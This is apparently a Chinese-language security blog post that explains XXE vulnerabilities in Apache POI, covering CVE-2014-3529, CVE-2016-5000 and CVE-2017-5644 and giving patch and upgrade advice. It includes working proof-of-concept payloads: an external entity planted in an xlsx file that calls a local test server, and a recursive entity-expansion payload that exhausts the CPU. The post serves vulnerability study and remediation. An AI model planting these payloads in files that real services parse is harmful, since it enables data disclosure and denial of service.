最近安全掃描掃出一些版本的 POI 存在 XEE 漏洞。總結(jié)一下XXE的相關(guān)知識(shí)和漏洞攻擊解析。
一、背景知識(shí)
想要知道 XXE 是什么,我們首先需要了解一下 XML 的相關(guān)知識(shí)。
1、XML基礎(chǔ)知識(shí)
XML用于標(biāo)記電子文件使其具有結(jié)構(gòu)性的標(biāo)記語言,可以用來標(biāo)記數(shù)據(jù)、定義數(shù)據(jù)類型,是一種允許用戶對(duì)自己的標(biāo)記語言進(jìn)行定義的源語言。XML文檔結(jié)構(gòu)包括XML聲明、DTD文檔類型定義(可選)、文檔元素。
DTD的作用是定義 XML 文檔的合法構(gòu)建模塊。DTD 可以在 XML 文檔內(nèi)聲明,也可以外部引用。
DTD文檔有三種應(yīng)用形式:
-
內(nèi)部DTD文檔
<!DOCTYPE 根元素[定義內(nèi)容]> -
外部DTD文檔
<!DOCTYPE 根元素 SYSTEM "DTD文件路徑"> -
內(nèi)外部DTD文檔結(jié)合
<!DOCTYPE 根元素 SYSTEM "DTD文檔路徑"[定義內(nèi)容]>
其中第二三種類型中的SYSTEM是一種標(biāo)識(shí)符,可以理解為:根據(jù)DTD資源路徑,加載這個(gè)外部資源的內(nèi)容,并賦值給前面的根元素,該標(biāo)識(shí)符意味著該實(shí)體將從外部來源獲取內(nèi)容。這就給了攻擊者一個(gè)攻擊的可能。
2、 XXE漏洞原理
XML外部實(shí)體(XML External Entity,XXE)攻擊是一種常見的Web安全漏洞,攻擊者可以通過XML的外部實(shí)體獲取服務(wù)器中本應(yīng)被保護(hù)的數(shù)據(jù)。
XML解析器解析外部實(shí)體時(shí)支持多種協(xié)議:
| libxml2 | PHP | Java | .NET |
|---|---|---|---|
| file | file | file | file |
| http | http | http | http |
| ftp | ftp | ftp | ftp |
| php | https | https | |
| compress.zlib | jar | ||
| data | netdoc | ||
| glob | mailto | ||
| phar | gopher |
如使用file協(xié)議可以讀取本地文件內(nèi)容、使用http協(xié)議可以獲取Web資源等,因此攻擊者可構(gòu)造惡意的外部實(shí)體,當(dāng)解析器解析了包含“惡意”外部實(shí)體的XML類型文件時(shí),便會(huì)導(dǎo)致被XXE攻擊。
另外,一般來說,服務(wù)器解析XML有兩種方式,一種是一次性將整個(gè)XML加載進(jìn)內(nèi)存中,進(jìn)行解析;另一種是一部分一部分的、“流式”地加載、解析。如果我們遞歸地調(diào)用XML定義,一次性調(diào)用巨量的定義,那么服務(wù)器的內(nèi)存就會(huì)被消耗完,造成了拒絕服務(wù)攻擊(Dos)。
3、Apache POI
Apache POI 是 Apache 軟件基金會(huì)的開源項(xiàng)目,POI 提供 API 接口給 Java 程序?qū)?Microsoft office 格式文檔讀寫能力。
Microsoft Office從2007版本引入了新的開放的XML文件格式,新的XML文件格式基于壓縮的ZIP文件格式規(guī)范,由許多部分組成。我們可以將其解壓縮到特定的文件夾中來查看其包含的文件夾和文件,可以發(fā)現(xiàn)其中多數(shù)是描述工作簿數(shù)據(jù)、元數(shù)據(jù)、文檔信息的XML文件。所以不正確的讀取07格式的Microsoft office 格式文件也存在著 XXE 攻擊的可能性。
二、漏洞
1、CVE-2014-3529
Apache POI 3.10-FINAL及以前版本被發(fā)現(xiàn)允許遠(yuǎn)程攻擊者通過注入XML外部實(shí)體訪問外部實(shí)體資源或者讀取任意文件。
1. 漏洞編號(hào)
CVE-2014-3529
2. 影響范圍
poi-ooxml-3.10-FINAL.jar及以下版本
3. 利用文件
[Content-Types].xml
4. 漏洞利用
示例漏洞利用,是檢測(cè)注入XML外部實(shí)體是否可以訪問外部實(shí)體。
-
新建
xxe.xlsx文件進(jìn)行解壓縮:unzip ../xxe.xlsx得到以下文件:
. ├── [Content_Types].xml ├── [trash] │ └── 0000.dat ├── _rels ├── docProps │ ├── app.xml │ └── core.xml └── xl ├── _rels │ └── workbook.xml.rels ├── styles.xml ├── theme │ └── theme1.xml ├── workbook.xml └── worksheets └── sheet1.xml -
使用文本編輯器打開[Content-Types].xml注入外部實(shí)體,在第二行插入實(shí)體:
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://localhost:3000/ack"> ]> <x>&xxe;</x>上面的
http://localhost:3000/ack為本地的測(cè)試服務(wù)器,如果漏洞觸發(fā),本地服務(wù)器將接收到ack的訪問記錄,即復(fù)現(xiàn)漏洞。 -
將上述文件重新壓縮成 xlsx。
zip -r xxe.xlsx * -
測(cè)試代碼使用 maven 工程,引入 poi-ooxml-3.10,運(yùn)行測(cè)試程序:
public class XXETest { public static void main(String[] args) { new XSSFWorkbook(new FileInputStream(new File("path/to/xxe.xlsx"))); } }運(yùn)行結(jié)果雖然有報(bào)錯(cuò),但是本地服務(wù)器接收到了 ack 請(qǐng)求,漏洞利用成功。
5. 漏洞分析
poi-ooxml 包里 org.apache.poi.openxml4j.opc.internal.ContentTypeManager#parseContentTypesFile 中讀取 [Content-Types].xml 時(shí)沒有進(jìn)行 XXE 防護(hù)。
6. 修復(fù)方案
升級(jí) poi-ooxml.jar 到 3.11 或以上版本。
原理是通過讀取的時(shí)候使用新工具類的方法進(jìn)行讀取org.apache.poi.util.DocumentHelper#readDocument(java.io.InputStream) 進(jìn)行 XXE 防護(hù)。
2、CVE-2016-5000
這個(gè)漏洞主要是 POI 官方示例中的 XLSX2CSV 示例不正確讀取 xlsx 觸發(fā)的 xxe。這里不再?gòu)?fù)現(xiàn)。
修復(fù)方案
升級(jí) poi-ooxml.jar 到 3.14 或以上版本。
3、CVE-2017-5644
1. 漏洞編號(hào)
CVE-2017-5644
2. 影響范圍
poi-ooxml-3.15.jar 及以下版本。
3. 利用文件
xl/workbook.xml
4. 漏洞利用
其他步驟同CVE-2014-3529中的方式,這次是在 xl/workbook.xml 中注入實(shí)體:
<!DOCTYPE x [
<!ENTITY e1 "">
<!ENTITY e2 "&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;">
<!ENTITY e3 "&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;">
<!ENTITY e4 "&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;">
<!ENTITY e5 "&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;">
<!ENTITY e6 "&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;">
<!ENTITY e7 "&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;">
<!ENTITY e8 "&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;">
<!ENTITY e9 "&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;">
<!ENTITY e10 "&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;">
<!ENTITY e11 "&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;">
]>
<x>&e11;</x>
<x>&e11;</x> 代碼引用ENTITY e11,而 e11 由16 個(gè) e10 組成,遞歸調(diào)用,循環(huán)次數(shù)達(dá)到 16^10 的規(guī)模。循環(huán)大量的實(shí)體引用,會(huì)消耗大量的CPU資源,長(zhǎng)時(shí)間顯示占用近100%。
5. 漏洞分析
POIXMLTypeLoader 中,解析xml的時(shí)候直接讀取xml,沒有對(duì)實(shí)體的數(shù)量進(jìn)行限制。3.11 對(duì) POIXMLTypeLoader 中的實(shí)體大小進(jìn)行了限制 ,最大為4096,但是當(dāng)實(shí)體為空的時(shí)候(如上例),還是可以構(gòu)造空實(shí)體,形成大量循環(huán),占用 cpu 資源,造成拒絕服務(wù)攻擊。
6.修復(fù)方案
升級(jí) poi-ooxml.jar 到 3.14 或以上版本。
或
自行修復(fù) POIXMLTypeLoader 中的相關(guān)代碼段:
public static XmlObject parse(InputStream jiois, SchemaType type, XmlOptions options) throws XmlException, IOException {
try {
// 使用 DocumentHelper.readDocument 解析
Document doc = DocumentHelper.readDocument(jiois);
return XmlBeans.getContextTypeLoader().parse(doc.getDocumentElement(), type, getXmlOptions(options));
} catch (SAXException e) {
throw new IOException("Unable to parse xml bean", e);
}
}
public static XmlObject parse(Reader jior, SchemaType type, XmlOptions options) throws XmlException, IOException {
try {
// 使用 DocumentHelper.readDocument 解析
Document doc = DocumentHelper.readDocument(new InputSource(jior));
return XmlBeans.getContextTypeLoader().parse(doc.getDocumentElement(), type, getXmlOptions(options));
} catch (SAXException e) {
throw new XmlException("Unable to parse xml bean", e);
}
}